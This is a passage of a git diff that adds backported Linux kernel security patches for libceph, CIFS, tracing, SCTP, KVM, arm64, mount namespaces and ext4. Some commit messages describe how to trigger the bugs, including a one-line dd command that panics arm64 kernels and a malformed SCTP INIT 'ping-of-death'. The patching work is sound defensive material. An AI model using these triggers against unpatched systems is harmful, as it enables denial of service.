/ 4); +- dout(" expires=%lu renew_after=%lu\n", new_expires, +- new_renew_after); +- +- /* ticket blob for service */ +- ceph_decode_8_safe(&p, end, is_enc, bad); +- tp = ticket_buf; +- if (is_enc) { +- /* encrypted */ +- dout(" encrypted ticket\n"); +- dlen = ceph_x_decrypt(&old_key, &p, end, ticket_buf, +- TEMP_TICKET_BUF_LEN); +- if (dlen < 0) { +- ret = dlen; +- goto out; +- } +- dlen = ceph_decode_32(&tp); +- } else { +- /* unencrypted */ +- ceph_decode_32_safe(&p, end, dlen, bad); +- ceph_decode_need(&p, end, dlen, bad); +- ceph_decode_copy(&p, ticket_buf, dlen); +- } +- tpend = tp + dlen; +- dout(" ticket blob is %d bytes\n", dlen); +- ceph_decode_need(&tp, tpend, 1 + sizeof(u64), bad); +- blob_struct_v = ceph_decode_8(&tp); +- new_secret_id = ceph_decode_64(&tp); +- ret = ceph_decode_buffer(&new_ticket_blob, &tp, tpend); ++ while (num--) { ++ ret = process_one_ticket(ac, secret, &p, end, ++ dbuf, ticket_buf); + if (ret) + goto out; +- +- /* all is well, update our ticket */ +- ceph_crypto_key_destroy(&th->session_key); +- if (th->ticket_blob) +- ceph_buffer_put(th->ticket_blob); +- th->session_key = new_session_key; +- th->ticket_blob = new_ticket_blob; +- th->validity = new_validity; +- th->secret_id = new_secret_id; +- th->expires = new_expires; +- th->renew_after = new_renew_after; +- dout(" got ticket service %d (%s) secret_id %lld len %d\n", +- type, ceph_entity_type_name(type), th->secret_id, +- (int)th->ticket_blob->vec.iov_len); +- xi->have_keys |= th->service; + } + + ret = 0; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0091-9c38ff707bbe-libceph do not hard code max auth ticket len.patch b/recipes-kernel/linux/linux-bass/autopatcher/0091-9c38ff707bbe-libceph do not hard code max auth ticket len.patch new file mode 100644 index 0000000..e8a2f27 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0091-9c38ff707bbe-libceph do not hard code max auth ticket len.patch @@ -0,0 +1,200 @@ +From 9c38ff707bbe0635121f8fb6f108ee376cff90fe Mon Sep 17 00:00:00 2001 +From: Ilya Dryomov +Date: Tue, 9 Sep 2014 19:39:15 +0400 +Subject: libceph: do not hard code max auth ticket len + +commit c27a3e4d667fdcad3db7b104f75659478e0c68d8 upstream. + +We hard code cephx auth ticket buffer size to 256 bytes. This isn't +enough for any moderate setups and, in case tickets themselves are not +encrypted, leads to buffer overflows (ceph_x_decrypt() errors out, but +ceph_decode_copy() doesn't - it's just a memcpy() wrapper). Since the +buffer is allocated dynamically anyway, allocated it a bit later, at +the point where we know how much is going to be needed. + +Fixes: http://tracker.ceph.com/issues/8979 + +Signed-off-by: Ilya Dryomov +Reviewed-by: Sage Weil +Signed-off-by: Greg Kroah-Hartman +--- + net/ceph/auth_x.c | 64 +++++++++++++++++++++++++------------------------------ + 1 file changed, 29 insertions(+), 35 deletions(-) + +diff --git a/net/ceph/auth_x.c b/net/ceph/auth_x.c +index 0eb146dce1aa9..de6662b14e1f5 100644 +--- a/net/ceph/auth_x.c ++++ b/net/ceph/auth_x.c +@@ -13,8 +13,6 @@ + #include "auth_x.h" + #include "auth_x_protocol.h" + +-#define TEMP_TICKET_BUF_LEN 256 +- + static void ceph_x_validate_tickets(struct ceph_auth_client *ac, int *pneed); + + static int ceph_x_is_authenticated(struct ceph_auth_client *ac) +@@ -64,7 +62,7 @@ static int ceph_x_encrypt(struct ceph_crypto_key *secret, + } + + static int ceph_x_decrypt(struct ceph_crypto_key *secret, +- void **p, void *end, void *obuf, size_t olen) ++ void **p, void *end, void **obuf, size_t olen) + { + struct ceph_x_encrypt_header head; + size_t head_len = sizeof(head); +@@ -75,8 +73,14 @@ static int ceph_x_decrypt(struct ceph_crypto_key *secret, + return -EINVAL; + + dout("ceph_x_decrypt len %d\n", len); +- ret = ceph_decrypt2(secret, &head, &head_len, obuf, &olen, +- *p, len); ++ if (*obuf == NULL) { ++ *obuf = kmalloc(len, GFP_NOFS); ++ if (!*obuf) ++ return -ENOMEM; ++ olen = len; ++ } ++ ++ ret = ceph_decrypt2(secret, &head, &head_len, *obuf, &olen, *p, len); + if (ret) + return ret; + if (head.struct_v != 1 || le64_to_cpu(head.magic) != CEPHX_ENC_MAGIC) +@@ -131,18 +135,19 @@ static void remove_ticket_handler(struct ceph_auth_client *ac, + + static int process_one_ticket(struct ceph_auth_client *ac, + struct ceph_crypto_key *secret, +- void **p, void *end, +- void *dbuf, void *ticket_buf) ++ void **p, void *end) + { + struct ceph_x_info *xi = ac->private; + int type; + u8 tkt_struct_v, blob_struct_v; + struct ceph_x_ticket_handler *th; ++ void *dbuf = NULL; + void *dp, *dend; + int dlen; + char is_enc; + struct timespec validity; + struct ceph_crypto_key old_key; ++ void *ticket_buf = NULL; + void *tp, *tpend; + struct ceph_timespec new_validity; + struct ceph_crypto_key new_session_key; +@@ -167,8 +172,7 @@ static int process_one_ticket(struct ceph_auth_client *ac, + } + + /* blob for me */ +- dlen = ceph_x_decrypt(secret, p, end, dbuf, +- TEMP_TICKET_BUF_LEN); ++ dlen = ceph_x_decrypt(secret, p, end, &dbuf, 0); + if (dlen <= 0) { + ret = dlen; + goto out; +@@ -195,20 +199,25 @@ static int process_one_ticket(struct ceph_auth_client *ac, + + /* ticket blob for service */ + ceph_decode_8_safe(p, end, is_enc, bad); +- tp = ticket_buf; + if (is_enc) { + /* encrypted */ + dout(" encrypted ticket\n"); +- dlen = ceph_x_decrypt(&old_key, p, end, ticket_buf, +- TEMP_TICKET_BUF_LEN); ++ dlen = ceph_x_decrypt(&old_key, p, end, &ticket_buf, 0); + if (dlen < 0) { + ret = dlen; + goto out; + } ++ tp = ticket_buf; + dlen = ceph_decode_32(&tp); + } else { + /* unencrypted */ + ceph_decode_32_safe(p, end, dlen, bad); ++ ticket_buf = kmalloc(dlen, GFP_NOFS); ++ if (!ticket_buf) { ++ ret = -ENOMEM; ++ goto out; ++ } ++ tp = ticket_buf; + ceph_decode_need(p, end, dlen, bad); + ceph_decode_copy(p, ticket_buf, dlen); + } +@@ -237,6 +246,8 @@ static int process_one_ticket(struct ceph_auth_client *ac, + xi->have_keys |= th->service; + + out: ++ kfree(ticket_buf); ++ kfree(dbuf); + return ret; + + bad: +@@ -249,21 +260,10 @@ static int ceph_x_proc_ticket_reply(struct ceph_auth_client *ac, + void *buf, void *end) + { + void *p = buf; +- char *dbuf; +- char *ticket_buf; + u8 reply_struct_v; + u32 num; + int ret; + +- dbuf = kmalloc(TEMP_TICKET_BUF_LEN, GFP_NOFS); +- if (!dbuf) +- return -ENOMEM; +- +- ret = -ENOMEM; +- ticket_buf = kmalloc(TEMP_TICKET_BUF_LEN, GFP_NOFS); +- if (!ticket_buf) +- goto out_dbuf; +- + ceph_decode_8_safe(&p, end, reply_struct_v, bad); + if (reply_struct_v != 1) + return -EINVAL; +@@ -272,22 +272,15 @@ static int ceph_x_proc_ticket_reply(struct ceph_auth_client *ac, + dout("%d tickets\n", num); + + while (num--) { +- ret = process_one_ticket(ac, secret, &p, end, +- dbuf, ticket_buf); ++ ret = process_one_ticket(ac, secret, &p, end); + if (ret) +- goto out; ++ return ret; + } + +- ret = 0; +-out: +- kfree(ticket_buf); +-out_dbuf: +- kfree(dbuf); +- return ret; ++ return 0; + + bad: +- ret = -EINVAL; +- goto out; ++ return -EINVAL; + } + + static int ceph_x_build_authorizer(struct ceph_auth_client *ac, +@@ -603,13 +596,14 @@ static int ceph_x_verify_authorizer_reply(struct ceph_auth_client *ac, + struct ceph_x_ticket_handler *th; + int ret = 0; + struct ceph_x_authorize_reply reply; ++ void *preply = &reply; + void *p = au->reply_buf; + void *end = p + sizeof(au->reply_buf); + + th = get_ticket_handler(ac, au->service); + if (IS_ERR(th)) + return PTR_ERR(th); +- ret = ceph_x_decrypt(&th->session_key, &p, end, &reply, sizeof(reply)); ++ ret = ceph_x_decrypt(&th->session_key, &p, end, &preply, sizeof(reply)); + if (ret < 0) + return ret; + if (ret != sizeof(reply)) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0092-c6bef3b64c1e-CIFS Possible null ptr deref in SMB2tcon.patch b/recipes-kernel/linux/linux-bass/autopatcher/0092-c6bef3b64c1e-CIFS Possible null ptr deref in SMB2tcon.patch new file mode 100644 index 0000000..309ae8f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0092-c6bef3b64c1e-CIFS Possible null ptr deref in SMB2tcon.patch @@ -0,0 +1,34 @@ +From c6bef3b64c1e605f4059189153de3251855846b9 Mon Sep 17 00:00:00 2001 +From: Steve French +Date: Sun, 17 Aug 2014 00:22:24 -0500 +Subject: CIFS: Possible null ptr deref in SMB2_tcon + +commit 18f39e7be0121317550d03e267e3ebd4dbfbb3ce upstream. + +As Raphael Geissert pointed out, tcon_error_exit can dereference tcon +and there is one path in which tcon can be null. + +Signed-off-by: Steve French +Reported-by: Raphael Geissert +Signed-off-by: Greg Kroah-Hartman +--- + fs/cifs/smb2pdu.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/fs/cifs/smb2pdu.c b/fs/cifs/smb2pdu.c +index c7a6fd87bb6eb..184c55820d1f2 100644 +--- a/fs/cifs/smb2pdu.c ++++ b/fs/cifs/smb2pdu.c +@@ -809,7 +809,8 @@ tcon_exit: + tcon_error_exit: + if (rsp->hdr.Status == STATUS_BAD_NETWORK_NAME) { + cifs_dbg(VFS, "BAD_NETWORK_NAME: %s\n", tree); +- tcon->bad_network_name = true; ++ if (tcon) ++ tcon->bad_network_name = true; + } + goto tcon_exit; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0093-3ad3add77518-tracingsyscalls Ignore numbers outside NRsyscalls range.patch b/recipes-kernel/linux/linux-bass/autopatcher/0093-3ad3add77518-tracingsyscalls Ignore numbers outside NRsyscalls range.patch new file mode 100644 index 0000000..dc62c0b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0093-3ad3add77518-tracingsyscalls Ignore numbers outside NRsyscalls range.patch @@ -0,0 +1,90 @@ +From 3ad3add775181f56f51ed14324ed4e7f1c9d3d1e Mon Sep 17 00:00:00 2001 +From: Rabin Vincent +Date: Wed, 29 Oct 2014 23:06:58 +0100 +Subject: tracing/syscalls: Ignore numbers outside NR_syscalls' range + +commit 086ba77a6db00ed858ff07451bedee197df868c9 upstream. + +ARM has some private syscalls (for example, set_tls(2)) which lie +outside the range of NR_syscalls. If any of these are called while +syscall tracing is being performed, out-of-bounds array access will +occur in the ftrace and perf sys_{enter,exit} handlers. + + # trace-cmd record -e raw_syscalls:* true && trace-cmd report + ... + true-653 [000] 384.675777: sys_enter: NR 192 (0, 1000, 3, 4000022, ffffffff, 0) + true-653 [000] 384.675812: sys_exit: NR 192 = 1995915264 + true-653 [000] 384.675971: sys_enter: NR 983045 (76f74480, 76f74000, 76f74b28, 76f74480, 76f76f74, 1) + true-653 [000] 384.675988: sys_exit: NR 983045 = 0 + ... + + # trace-cmd record -e syscalls:* true + [ 17.289329] Unable to handle kernel paging request at virtual address aaaaaace + [ 17.289590] pgd = 9e71c000 + [ 17.289696] [aaaaaace] *pgd=00000000 + [ 17.289985] Internal error: Oops: 5 [#1] PREEMPT SMP ARM + [ 17.290169] Modules linked in: + [ 17.290391] CPU: 0 PID: 704 Comm: true Not tainted 3.18.0-rc2+ #21 + [ 17.290585] task: 9f4dab00 ti: 9e710000 task.ti: 9e710000 + [ 17.290747] PC is at ftrace_syscall_enter+0x48/0x1f8 + [ 17.290866] LR is at syscall_trace_enter+0x124/0x184 + +Fix this by ignoring out-of-NR_syscalls-bounds syscall numbers. + +Commit cd0980fc8add "tracing: Check invalid syscall nr while tracing syscalls" +added the check for less than zero, but it should have also checked +for greater than NR_syscalls. + +Link: http://lkml.kernel.org/p/1414620418-29472-1-git-send-email-rabin@rab.in + +Fixes: cd0980fc8add "tracing: Check invalid syscall nr while tracing syscalls" +Signed-off-by: Rabin Vincent +Signed-off-by: Steven Rostedt +Signed-off-by: Greg Kroah-Hartman +--- + kernel/trace/trace_syscalls.c | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +diff --git a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c +index 322e164610725..bdb9ee0af9919 100644 +--- a/kernel/trace/trace_syscalls.c ++++ b/kernel/trace/trace_syscalls.c +@@ -312,7 +312,7 @@ static void ftrace_syscall_enter(void *data, struct pt_regs *regs, long id) + int size; + + syscall_nr = trace_get_syscall_nr(current, regs); +- if (syscall_nr < 0) ++ if (syscall_nr < 0 || syscall_nr >= NR_syscalls) + return; + if (!test_bit(syscall_nr, tr->enabled_enter_syscalls)) + return; +@@ -354,7 +354,7 @@ static void ftrace_syscall_exit(void *data, struct pt_regs *regs, long ret) + int syscall_nr; + + syscall_nr = trace_get_syscall_nr(current, regs); +- if (syscall_nr < 0) ++ if (syscall_nr < 0 || syscall_nr >= NR_syscalls) + return; + if (!test_bit(syscall_nr, tr->enabled_exit_syscalls)) + return; +@@ -557,7 +557,7 @@ static void perf_syscall_enter(void *ignore, struct pt_regs *regs, long id) + int size; + + syscall_nr = trace_get_syscall_nr(current, regs); +- if (syscall_nr < 0) ++ if (syscall_nr < 0 || syscall_nr >= NR_syscalls) + return; + if (!test_bit(syscall_nr, enabled_perf_enter_syscalls)) + return; +@@ -633,7 +633,7 @@ static void perf_syscall_exit(void *ignore, struct pt_regs *regs, long ret) + int size; + + syscall_nr = trace_get_syscall_nr(current, regs); +- if (syscall_nr < 0) ++ if (syscall_nr < 0 || syscall_nr >= NR_syscalls) + return; + if (!test_bit(syscall_nr, enabled_perf_exit_syscalls)) + return; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0094-7031dcb018db-net sctp fix NULL pointer dereference in affromaddrparam on.patch b/recipes-kernel/linux/linux-bass/autopatcher/0094-7031dcb018db-net sctp fix NULL pointer dereference in affromaddrparam on.patch new file mode 100644 index 0000000..d891cbe --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0094-7031dcb018db-net sctp fix NULL pointer dereference in affromaddrparam on.patch @@ -0,0 +1,81 @@ +From 7031dcb018db2a7776c1c31ef156cf8ac8da8a99 Mon Sep 17 00:00:00 2001 +From: Daniel Borkmann +Date: Mon, 10 Nov 2014 17:54:26 +0100 +Subject: net: sctp: fix NULL pointer dereference in af->from_addr_param on + malformed packet + +[ Upstream commit e40607cbe270a9e8360907cb1e62ddf0736e4864 ] + +An SCTP server doing ASCONF will panic on malformed INIT ping-of-death +in the form of: + + ------------ INIT[PARAM: SET_PRIMARY_IP] ------------> + +While the INIT chunk parameter verification dissects through many things +in order to detect malformed input, it misses to actually check parameters +inside of parameters. E.g. RFC5061, section 4.2.4 proposes a 'set primary +IP address' parameter in ASCONF, which has as a subparameter an address +parameter. + +So an attacker may send a parameter type other than SCTP_PARAM_IPV4_ADDRESS +or SCTP_PARAM_IPV6_ADDRESS, param_type2af() will subsequently return 0 +and thus sctp_get_af_specific() returns NULL, too, which we then happily +dereference unconditionally through af->from_addr_param(). + +The trace for the log: + +BUG: unable to handle kernel NULL pointer dereference at 0000000000000078 +IP: [] sctp_process_init+0x492/0x990 [sctp] +PGD 0 +Oops: 0000 [#1] SMP +[...] +Pid: 0, comm: swapper Not tainted 2.6.32-504.el6.x86_64 #1 Bochs Bochs +RIP: 0010:[] [] sctp_process_init+0x492/0x990 [sctp] +[...] +Call Trace: + + [] ? sctp_bind_addr_copy+0x5d/0xe0 [sctp] + [] sctp_sf_do_5_1B_init+0x21b/0x340 [sctp] + [] sctp_do_sm+0x71/0x1210 [sctp] + [] ? sctp_endpoint_lookup_assoc+0xc9/0xf0 [sctp] + [] sctp_endpoint_bh_rcv+0x116/0x230 [sctp] + [] sctp_inq_push+0x56/0x80 [sctp] + [] sctp_rcv+0x982/0xa10 [sctp] + [] ? ipt_local_in_hook+0x23/0x28 [iptable_filter] + [] ? nf_iterate+0x69/0xb0 + [] ? ip_local_deliver_finish+0x0/0x2d0 + [] ? nf_hook_slow+0x76/0x120 + [] ? ip_local_deliver_finish+0x0/0x2d0 +[...] + +A minimal way to address this is to check for NULL as we do on all +other such occasions where we know sctp_get_af_specific() could +possibly return with NULL. + +Fixes: d6de3097592b ("[SCTP]: Add the handling of "Set Primary IP Address" parameter to INIT") +Signed-off-by: Daniel Borkmann +Cc: Vlad Yasevich +Acked-by: Neil Horman +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/sctp/sm_make_chunk.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/net/sctp/sm_make_chunk.c b/net/sctp/sm_make_chunk.c +index 87e244be899a7..6ca48b16f6bf4 100644 +--- a/net/sctp/sm_make_chunk.c ++++ b/net/sctp/sm_make_chunk.c +@@ -2596,6 +2596,9 @@ do_addr_param: + addr_param = param.v + sizeof(sctp_addip_param_t); + + af = sctp_get_af_specific(param_type2af(param.p->type)); ++ if (af == NULL) ++ break; ++ + af->from_addr_param(&addr, addr_param, + htons(asoc->peer.port), 0); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0095-c75f394964bc-KVM x86 Dont report guest userspace emulation error to userspace.patch b/recipes-kernel/linux/linux-bass/autopatcher/0095-c75f394964bc-KVM x86 Dont report guest userspace emulation error to userspace.patch new file mode 100644 index 0000000..6bb7c40 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0095-c75f394964bc-KVM x86 Dont report guest userspace emulation error to userspace.patch @@ -0,0 +1,39 @@ +From c75f394964bc21d0b890bd62ead90ff51b3e1e72 Mon Sep 17 00:00:00 2001 +From: Nadav Amit +Date: Wed, 17 Sep 2014 02:50:50 +0300 +Subject: KVM: x86: Don't report guest userspace emulation error to userspace + +commit a2b9e6c1a35afcc0973acb72e591c714e78885ff upstream. + +Commit fc3a9157d314 ("KVM: X86: Don't report L2 emulation failures to +user-space") disabled the reporting of L2 (nested guest) emulation failures to +userspace due to race-condition between a vmexit and the instruction emulator. +The same rational applies also to userspace applications that are permitted by +the guest OS to access MMIO area or perform PIO. + +This patch extends the current behavior - of injecting a #UD instead of +reporting it to userspace - also for guest userspace code. + +Signed-off-by: Nadav Amit +Signed-off-by: Paolo Bonzini +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kvm/x86.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c +index 684f46dc87deb..adfc30d9f9f4b 100644 +--- a/arch/x86/kvm/x86.c ++++ b/arch/x86/kvm/x86.c +@@ -4834,7 +4834,7 @@ static int handle_emulation_failure(struct kvm_vcpu *vcpu) + + ++vcpu->stat.insn_emulation_fail; + trace_kvm_emulate_insn_failed(vcpu); +- if (!is_guest_mode(vcpu)) { ++ if (!is_guest_mode(vcpu) && kvm_x86_ops->get_cpl(vcpu) == 0) { + vcpu->run->exit_reason = KVM_EXIT_INTERNAL_ERROR; + vcpu->run->internal.suberror = KVM_INTERNAL_ERROR_EMULATION; + vcpu->run->internal.ndata = 0; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0096-16640ca660f4-arm64 clearuser handle exceptions on strb.patch b/recipes-kernel/linux/linux-bass/autopatcher/0096-16640ca660f4-arm64 clearuser handle exceptions on strb.patch new file mode 100644 index 0000000..0511ea0 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0096-16640ca660f4-arm64 clearuser handle exceptions on strb.patch @@ -0,0 +1,64 @@ +From 16640ca660f4980fb5c1f4e4febce19875f4c1b8 Mon Sep 17 00:00:00 2001 +From: Kyle McMartin +Date: Wed, 12 Nov 2014 21:07:44 +0000 +Subject: arm64: __clear_user: handle exceptions on strb +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit 97fc15436b36ee3956efad83e22a557991f7d19d upstream. + +ARM64 currently doesn't fix up faults on the single-byte (strb) case of +__clear_user... which means that we can cause a nasty kernel panic as an +ordinary user with any multiple PAGE_SIZE+1 read from /dev/zero. +i.e.: dd if=/dev/zero of=foo ibs=1 count=1 (or ibs=65537, etc.) + +This is a pretty obscure bug in the general case since we'll only +__do_kernel_fault (since there's no extable entry for pc) if the +mmap_sem is contended. However, with CONFIG_DEBUG_VM enabled, we'll +always fault. + +if (!down_read_trylock(&mm->mmap_sem)) { + if (!user_mode(regs) && !search_exception_tables(regs->pc)) + goto no_context; +retry: + down_read(&mm->mmap_sem); +} else { + /* + * The above down_read_trylock() might have succeeded in + * which + * case, we'll have missed the might_sleep() from + * down_read(). + */ + might_sleep(); + if (!user_mode(regs) && !search_exception_tables(regs->pc)) + goto no_context; +} + +Fix that by adding an extable entry for the strb instruction, since it +touches user memory, similar to the other stores in __clear_user. + +Signed-off-by: Kyle McMartin +Reported-by: Miloš Prchlík +Signed-off-by: Catalin Marinas +Signed-off-by: Greg Kroah-Hartman +--- + arch/arm64/lib/clear_user.S | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/arch/arm64/lib/clear_user.S b/arch/arm64/lib/clear_user.S +index 6e0ed93d51fe1..c17967fdf5f60 100644 +--- a/arch/arm64/lib/clear_user.S ++++ b/arch/arm64/lib/clear_user.S +@@ -46,7 +46,7 @@ USER(9f, strh wzr, [x0], #2 ) + sub x1, x1, #2 + 4: adds x1, x1, #1 + b.mi 5f +- strb wzr, [x0] ++USER(9f, strb wzr, [x0] ) + 5: mov x0, #0 + ret + ENDPROC(__clear_user) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0097-315a75ea5d19-mnt Prevent pivotroot from creating a loop in the mount tree.patch b/recipes-kernel/linux/linux-bass/autopatcher/0097-315a75ea5d19-mnt Prevent pivotroot from creating a loop in the mount tree.patch new file mode 100644 index 0000000..0bec6c4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0097-315a75ea5d19-mnt Prevent pivotroot from creating a loop in the mount tree.patch @@ -0,0 +1,49 @@ +From 315a75ea5d19a4cbc68b96024de8e36eb1db68b0 Mon Sep 17 00:00:00 2001 +From: "Eric W. Biederman" +Date: Wed, 8 Oct 2014 10:42:27 -0700 +Subject: mnt: Prevent pivot_root from creating a loop in the mount tree + +commit 0d0826019e529f21c84687521d03f60cd241ca7d upstream. + +Andy Lutomirski recently demonstrated that when chroot is used to set +the root path below the path for the new ``root'' passed to pivot_root +the pivot_root system call succeeds and leaks mounts. + +In examining the code I see that starting with a new root that is +below the current root in the mount tree will result in a loop in the +mount tree after the mounts are detached and then reattached to one +another. Resulting in all kinds of ugliness including a leak of that +mounts involved in the leak of the mount loop. + +Prevent this problem by ensuring that the new mount is reachable from +the current root of the mount tree. + +[Added stable cc. Fixes CVE-2014-7970. --Andy] + +Reported-by: Andy Lutomirski +Reviewed-by: Andy Lutomirski +Link: http://lkml.kernel.org/r/87bnpmihks.fsf@x220.int.ebiederm.org +Signed-off-by: "Eric W. Biederman" +Signed-off-by: Andy Lutomirski +Signed-off-by: Greg Kroah-Hartman +--- + fs/namespace.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/fs/namespace.c b/fs/namespace.c +index 7f6a9348c5895..154822397780a 100644 +--- a/fs/namespace.c ++++ b/fs/namespace.c +@@ -2696,6 +2696,9 @@ SYSCALL_DEFINE2(pivot_root, const char __user *, new_root, + /* make sure we can reach put_old from new_root */ + if (!is_path_reachable(old_mnt, old.dentry, &new)) + goto out4; ++ /* make certain new is below the root */ ++ if (!is_path_reachable(new_mnt, new.dentry, &root)) ++ goto out4; + root_mp->m_count++; /* pin it so it won't go away */ + br_write_lock(&vfsmount_lock); + detach_mnt(new_mnt, &parent_path); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0098-a7dbb3e347aa-fs Add a missing permission check to doumount.patch b/recipes-kernel/linux/linux-bass/autopatcher/0098-a7dbb3e347aa-fs Add a missing permission check to doumount.patch new file mode 100644 index 0000000..4c73b5f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0098-a7dbb3e347aa-fs Add a missing permission check to doumount.patch @@ -0,0 +1,34 @@ +From a7dbb3e347aa3916f681b10cfbc7d12ed6ae7b34 Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Wed, 8 Oct 2014 12:32:47 -0700 +Subject: fs: Add a missing permission check to do_umount + +commit a1480dcc3c706e309a88884723446f2e84fedd5b upstream. + +Accessing do_remount_sb should require global CAP_SYS_ADMIN, but +only one of the two call sites was appropriately protected. + +Fixes CVE-2014-7975. + +Signed-off-by: Andy Lutomirski +Signed-off-by: Greg Kroah-Hartman +--- + fs/namespace.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/fs/namespace.c b/fs/namespace.c +index 00409add4d966..7f6a9348c5895 100644 +--- a/fs/namespace.c ++++ b/fs/namespace.c +@@ -1274,6 +1274,8 @@ static int do_umount(struct mount *mnt, int flags) + * Special case for "unmounting" root ... + * we just try to remount it readonly. + */ ++ if (!capable(CAP_SYS_ADMIN)) ++ return -EPERM; + down_write(&sb->s_umount); + if (!(sb->s_flags & MS_RDONLY)) + retval = do_remount_sb(sb, MS_RDONLY, NULL, 0); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0099-30d8c8352812-ext4 prevent bugon on race between writefcntl.patch b/recipes-kernel/linux/linux-bass/autopatcher/0099-30d8c8352812-ext4 prevent bugon on race between writefcntl.patch new file mode 100644 index 0000000..a773f96 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0099-30d8c8352812-ext4 prevent bugon on race between writefcntl.patch @@ -0,0 +1,122 @@ +From 30d8c8352812e924bbee639ca3a25e35daf74db3 Mon Sep 17 00:00:00 2001 +From: Dmitry Monakhov +Date: Thu, 30 Oct 2014 10:53:16 -0400 +Subject: ext4: prevent bugon on race between write/fcntl + +commit a41537e69b4aa43f0fea02498c2595a81267383b upstream. + +O_DIRECT flags can be toggeled via fcntl(F_SETFL). But this value checked +twice inside ext4_file_write_iter() and __generic_file_write() which +result in BUG_ON inside ext4_direct_IO. + +Let's initialize iocb->private unconditionally. + +TESTCASE: xfstest:generic/036 https://patchwork.ozlabs.org/patch/402445/ + +#TYPICAL STACK TRACE: +kernel BUG at fs/ext4/inode.c:2960! +invalid opcode: 0000 [#1] SMP +Modules linked in: brd iTCO_wdt lpc_ich mfd_core igb ptp dm_mirror dm_region_hash dm_log dm_mod +CPU: 6 PID: 5505 Comm: aio-dio-fcntl-r Not tainted 3.17.0-rc2-00176-gff5c017 #161 +Hardware name: Intel Corporation W2600CR/W2600CR, BIOS SE5C600.86B.99.99.x028.061320111235 06/13/2011 +task: ffff88080e95a7c0 ti: ffff88080f908000 task.ti: ffff88080f908000 +RIP: 0010:[] [] ext4_direct_IO+0x162/0x3d0 +RSP: 0018:ffff88080f90bb58 EFLAGS: 00010246 +RAX: 0000000000000400 RBX: ffff88080fdb2a28 RCX: 00000000a802c818 +RDX: 0000040000080000 RSI: ffff88080d8aeb80 RDI: 0000000000000001 +RBP: ffff88080f90bbc8 R08: 0000000000000000 R09: 0000000000001581 +R10: 0000000000000000 R11: 0000000000000000 R12: ffff88080d8aeb80 +R13: ffff88080f90bbf8 R14: ffff88080fdb28c8 R15: ffff88080fdb2a28 +FS: 00007f23b2055700(0000) GS:ffff880818400000(0000) knlGS:0000000000000000 +CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +CR2: 00007f23b2045000 CR3: 000000080cedf000 CR4: 00000000000407e0 +Stack: + ffff88080f90bb98 0000000000000000 7ffffffffffffffe ffff88080fdb2c30 + 0000000000000200 0000000000000200 0000000000000001 0000000000000200 + ffff88080f90bbc8 ffff88080fdb2c30 ffff88080f90be08 0000000000000200 +Call Trace: + [] generic_file_direct_write+0xed/0x180 + [] __generic_file_write_iter+0x222/0x370 + [] ext4_file_write_iter+0x34b/0x400 + [] ? aio_run_iocb+0x239/0x410 + [] ? aio_run_iocb+0x239/0x410 + [] ? local_clock+0x25/0x30 + [] ? __lock_acquire+0x274/0x700 + [] ? ext4_unwritten_wait+0xb0/0xb0 + [] aio_run_iocb+0x286/0x410 + [] ? local_clock+0x25/0x30 + [] ? lock_release_holdtime+0x29/0x190 + [] ? lookup_ioctx+0x4b/0xf0 + [] do_io_submit+0x55b/0x740 + [] ? do_io_submit+0x3ca/0x740 + [] SyS_io_submit+0x10/0x20 + [] system_call_fastpath+0x16/0x1b +Code: 01 48 8b 80 f0 01 00 00 48 8b 18 49 8b 45 10 0f 85 f1 01 00 00 48 03 45 c8 48 3b 43 48 0f 8f e3 01 00 00 49 83 7c +24 18 00 75 04 <0f> 0b eb fe f0 ff 83 ec 01 00 00 49 8b 44 24 18 8b 00 85 c0 89 +RIP [] ext4_direct_IO+0x162/0x3d0 + RSP + +Reported-by: Sasha Levin +Signed-off-by: Theodore Ts'o +Signed-off-by: Dmitry Monakhov +[hujianyang: Backported to 3.10 + - Move initialization of iocb->private to ext4_file_write() as we don't + have ext4_file_write_iter(), which is introduced by commit 9b884164. + - Adjust context to make 'overwrite' changes apply to ext4_file_dio_write() + as ext4_file_dio_write() is not move into ext4_file_write()] +Signed-off-by: hujianyang +Signed-off-by: Greg Kroah-Hartman +--- + fs/ext4/file.c | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +diff --git a/fs/ext4/file.c b/fs/ext4/file.c 